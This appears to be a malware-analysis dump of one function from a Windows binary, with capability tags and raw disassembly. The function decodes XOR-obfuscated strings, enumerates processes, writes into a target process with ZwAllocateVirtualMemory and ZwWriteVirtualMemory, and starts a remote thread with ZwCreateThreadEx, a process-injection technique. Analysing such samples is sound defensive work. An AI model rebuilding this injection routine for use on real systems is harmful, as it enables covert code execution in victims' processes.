Function at 0x140039120
Capabilities:
Contain obfuscated stackstrings
Create thread
Encode data using xor
Enumerate processes
Inject thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov rax, qword [0x140118140]
xor rax, rsp
mov qword [rbp + 0x220], rax
mov rbx, rdx
mov qword [rbp - 0x70], rdx
mov rdi, rcx
mov qword [rbp - 0x80], rcx
mov qword [rbp - 0x50], rdx
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x20]
call fcn.1400aaf90
mov rdx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140039180
mov rdx, qword [rdi]
lea rcx, [rbp - 0x20]
call fcn.14003f8d0
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x24], edx
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x1400391bc
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rbp - 0x20]
call fcn.14003f130
lea rcx, [rbp - 0x18]
call fcn.14003fd50
mov ebx, 2
test rax, rax
jne 0x140039203
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x20]
add rcx, rax
mov edx, 6
cmp qword [rcx + 0x48], 0
cmovne edx, ebx
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140035460
movdqa xmm0, xmmword [0x140105100]
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0x4646460d
xor eax, eax
mov byte [rsp + 0x74], al
xor r14d, r14d
mov ecx, r14d
nop word [rax + rax]
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x61], al
inc rcx
cmp rcx, 0x13
jb 0x140039230
mov byte [rsp + 0x74], r14b
lea rax, [rsp + 0x61]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], r14b
jne 0x140039256
lea rdx, [rsp + 0x61]
lea rcx, [0x14013b230]
call fcn.1400309a0
mov dword [rbp - 0x68], r14d
xor edx, edx
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r12, rax
mov dword [rbp + 0xf0], pe_nt_image_headers64
lea rdx, [rbp + 0xf0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1400394b3
nop dword [rax]
nop word [rax + rax]
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x40], 0
lea rax, [rbp + 0x11c]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400392d0
lea rdx, [rbp + 0x11c]
lea rcx, [rbp - 0x40]
call fcn.1400309a0
nop
lea rsi, [rbp - 0x40]
mov r14, qword [rbp - 0x40]
mov r13, qword [rbp - 0x28]
mov r15, qword [rbp - 0x30]
cmp r13, 0x10
jb 0x14003930d
mov rdi, r14
lea rbx, [r14 + r15]
mov rsi, r14
jmp 0x140039318
lea rbx, [rbp - 0x40]
add rbx, r15
lea rdi, [rbp - 0x40]
cmp rdi, rbx
je 0x14003933f
sub rsi, rdi
movsx ecx, byte [rdi]
call fcn.1400b945c
mov byte [rdi + rsi], al
inc rdi
cmp rdi, rbx
jne 0x140039320
mov r13, qword [rbp - 0x28]
mov r15, qword [rbp - 0x30]
mov r14, qword [rbp - 0x40]
movdqa xmm0, xmmword [0x1401055f0]
movdqu xmmword [rsp + 0x60], xmm0
xor eax, eax
mov byte [rsp + 0x70], al
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x61], al
inc rcx
cmp rcx, 0xf
jb 0x140039360
mov byte [rsp + 0x70], 0
lea rcx, [rsp + 0x61]
mov rsi, 0xffffffffffffffff
mov rax, rsi
inc rax
cmp byte [rcx + rax], 0
jne 0x140039386
lea rcx, [rbp - 0x40]
cmp r13, 0x10
setae bl
cmovae rcx, r14
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x61]
mov rdx, r15
call fcn.140041020
cmp rax, rsi
jne 0x14003946b
movdqa xmm0, xmmword [str.___.3_9__r9_9]
movdqu xmmword [rsp + 0x60], xmm0
xor ecx, ecx
nop dword [rax]
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x61], al
inc rcx
cmp rcx, 0xe
jb 0x1400393d0
mov byte [rsp + 0x6f], 0
lea rcx, [rsp + 0x61]
mov rax, rsi
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x1400393f0
lea rcx, [rbp - 0x40]
test bl, bl
cmovne rcx, r14
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x61]
mov rdx, r15
call fcn.140041020
cmp rax, rsi
jne 0x14003946b
test bl, bl
je 0x14003944f
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140039447
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039c75
mov rcx, r14
call fcn.1400a5fa0
lea rdx, [rbp + 0xf0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_Process32Next]
xor r14d, r14d
test eax, eax
je 0x1400394ae
jmp 0x1400392b0
mov eax, dword [rbp + 0xf8]
mov dword [rbp - 0x68], eax
cmp r13, 0x10
jb 0x1400394ab
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x1400394a3
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039c75
mov rcx, r14
call fcn.1400a5fa0
xor r14d, r14d
mov ebx, 2
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp - 0x58], 0xa
lea rcx, [rbp - 0x58]
call fcn.1400409c0
mov r12d, dword [rbp - 0x68]
test r12d, r12d
je 0x140039274
mov r8d, r12d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x1400395dc
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x24], edx
lea rcx, [rbp - 0x18]
call fcn.14003ebe0
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x24], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x88], rax
lea rcx, [rbp + 0x88]
call fcn.1400a8530
nop
mov rbx, qword [rbp - 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1400395a1
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14003959c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140039c59
mov rcx, r8
call fcn.1400a5fa0
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
xor eax, eax
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.1400a56f0
mov rbx, qword [rsp + 0x380]
add rsp, 0x330
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov ecx, 8
call fcn.1400a5c44
lea rcx, [0x140038470]
mov qword [rax], rcx
mov qword [rbp - 0x40], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x140042260]
xor edx, edx
xor ecx, ecx
call fcn.1400b9bdc
mov qword [rsp + 0x60], rax
test rax, rax
je 0x140039c65
cmp dword [rsp + 0x68], 0
je 0x140039c7b
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x40]
call fcn.1400a8c88
test eax, eax
jne 0x140039c86
cmp byte [0x14013edfa], 0
jne 0x140039a0d
nop word [rax + rax]
mov cl, reloc.WS2_32.dll_WSAGetLastError
mov dword [rbp - 0x40], 0x1060d6f
mov dword [rbp - 0x3c], 0x59185d04
mov dword [rbp - 0x38], 0x30b415b
mov word [rbp - 0x34], 3
mov rax, r14
xor byte [rbp + rax - 0x3f], cl
inc rax
cmp rax, 0xc
jae 0x140039693
movzx ecx, byte [rbp - 0x40]
jmp 0x140039680
mov byte [rbp - 0x33], 0
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
lea rax, [rbp - 0x3f]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400396b6
lea rdx, [rbp - 0x3f]
lea rcx, [rsp + 0x60]
call fcn.1400309a0
nop
lea rdx, [rsp + 0x60]
mov ecx, r12d
call fcn.140038150
test al, al
sete bl
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14003971e
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039719
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039c8e
call fcn.1400a5fa0
test bl, bl
je 0x140039738
mov qword [rbp - 0x58], 5
lea rcx, [rbp - 0x58]
call fcn.1400409c0
jmp 0x140039660
mov cl, ntohs
mov dword [rbp - 0x68], 0x60676c0e
mov dword [rbp - 0x64], 0x38793c65
mov dword [rbp - 0x60], 0x626a203a
mov word [rbp - 0x5c], 0x62
mov rax, r14
nop dword [rax + rax]
xor byte [rbp + rax - 0x67], cl
inc rax
cmp rax, 0xc
jae 0x140039773
movzx ecx, byte [rbp - 0x68]
jmp 0x140039760
mov byte [rbp - 0x5b], 0
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
lea rax, [rbp - 0x67]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140039796
lea rdx, [rbp - 0x67]
lea rcx, [rsp + 0x60]
call fcn.1400309a0
nop
lea rdx, [rsp + 0x60]
mov ecx, r12d
call fcn.140038150
movzx ebx, al
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1400397fc
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400397f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039c8e
call fcn.1400a5fa0
test bl, bl
je 0x14003964a
mov cl, 0x5f
mov dword [rsp + 0x60], 0x3531165f
mov dword [rsp + 0x64], 0x362b3c3a
mov dword [rsp + 0x68], 0x71713831
mov word [rsp + 0x6c], WSAStartup
mov rax, r14
nop dword [rax + rax]
xor byte [rsp + rax + 0x61], cl
inc rax
cmp rax, 0xc
jae 0x140039844
movzx ecx, byte [rsp + 0x60]
jmp 0x140039830
mov byte [rsp + 0x6d], 0
lea rax, [rsp + 0x61]
nop
inc rsi
cmp byte [rax + rsi], 0
jne 0x140039850
mov r8, rsi
lea rdx, [rsp + 0x61]
lea rcx, [0x14013b230]
call fcn.1400309a0
mov qword [rbp - 0x68], r14
mov rsi, qword [rbp - 0x80]
lea rbx, [rsi + 0x10]
mov rax, qword [rbx]
inc rax
mov qword [rbp - 0x40], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
lea r9, [rbp - 0x40]
xor r8d, r8d
lea rdx, [rbp - 0x68]
mov rcx, rdi
call qword [sym.imp.ntdll.dll_ZwAllocateVirtualMemory]
mov r9d, dword [rbx]
inc r9d
cmp qword [rsi + 0x18], 0x10
jb 0x1400398b7
mov rsi, qword [rsi]
mov qword [rsp + 0x20], r14
mov r8, rsi
mov rdx, qword [rbp - 0x68]
mov rcx, rdi
call qword [sym.imp.ntdll.dll_ZwWriteVirtualMemory]
mov cl, 0x53
mov dword [rsp + 0x60], 0x21363853
mov dword [rsp + 0x64], 0x603f363d
mov dword [rsp + 0x68], 0x3f377d61
mov word [rsp + 0x6c], 0x3f
mov rax, r14
xor byte [rsp + rax + 0x61], cl
inc rax
cmp rax, 0xc
jae 0x140039904
movzx ecx, byte [rsp + 0x60]
jmp 0x1400398f0
mov byte [rsp + 0x6d], 0
lea rcx, [rsp + 0x61]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8, rax
test rax, rax
je 0x140039bad
mov cl, 0x54
mov dword [rbp - 0x80], 0x353b1854
mov dword [rbp - 0x7c], 0x363d1830
mov dword [rbp - 0x78], 0x2d263526
mov word [rbp - 0x74], reloc.WS2_32.dll_setsockopt
mov rax, r14
xor byte [rbp + rax - 0x7f], cl
inc rax
cmp rax, 0xc
jae 0x140039953
movzx ecx, byte [rbp - 0x80]
jmp 0x140039940
mov byte [rbp - 0x73], 0
lea rdx, [rbp - 0x7f]
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140039b3e
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
mov rcx, qword [rbp - 0x68]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
mov r9, rdi
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp - 0x58]
call qword [sym.imp.ntdll.dll_ZwCreateThreadEx]
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x140039acc
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r8, qword [rbx]
inc r8
mov r9d, 0x8000
mov rdx, qword [rbp - 0x68]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [0x14013edfa], 1
mov eax, dword [0x14013ef3c]
inc eax
xorps xmm0, xmm0
movss dword [0x14013ef44], xmm0
mov dword [0x14013ef28], eax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x24], edx
lea rcx, [rbp - 0x18]
call fcn.14003ebe0
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x24], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x88], rax
lea rcx, [rbp + 0x88]
call fcn.1400a8530
nop
mov rbx, qword [rbp - 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140039ab8
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140039ab3
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140039c59
mov rcx, r8
call fcn.1400a5fa0
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
jmp 0x1400395b2
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x24], edx
lea rcx, [rbp - 0x18]
call fcn.14003ebe0
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x24], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x88], rax
lea rcx, [rbp + 0x88]
call fcn.1400a8530
nop
jmp 0x140039c1a
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x24], edx
lea rcx, [rbp - 0x18]
call fcn.14003ebe0
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x24], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x88], rax
lea rcx, [rbp + 0x88]
call fcn.1400a8530
nop
jmp 0x140039c1a
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x24], edx
lea rcx, [rbp - 0x18]
call fcn.14003ebe0
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x24], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x88], rax
lea rcx, [rbp + 0x88]
call fcn.1400a8530
nop
mov rbx, qword [rbp - 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1400395a1
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14003959c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140039c5f
jmp 0x140039599
call fcn.1400b92a8
int3
call fcn.1400b92a8
nop
mov dword [rsp + 0x68], r14d
mov ecx, 6
call fcn.1400a7fb4
nop
call fcn.1400b92a8
nop
mov ecx, 1
call fcn.1400a7fb4
int3
mov ecx, eax
call fcn.1400a7f78
nop
call fcn.1400b92a8
int3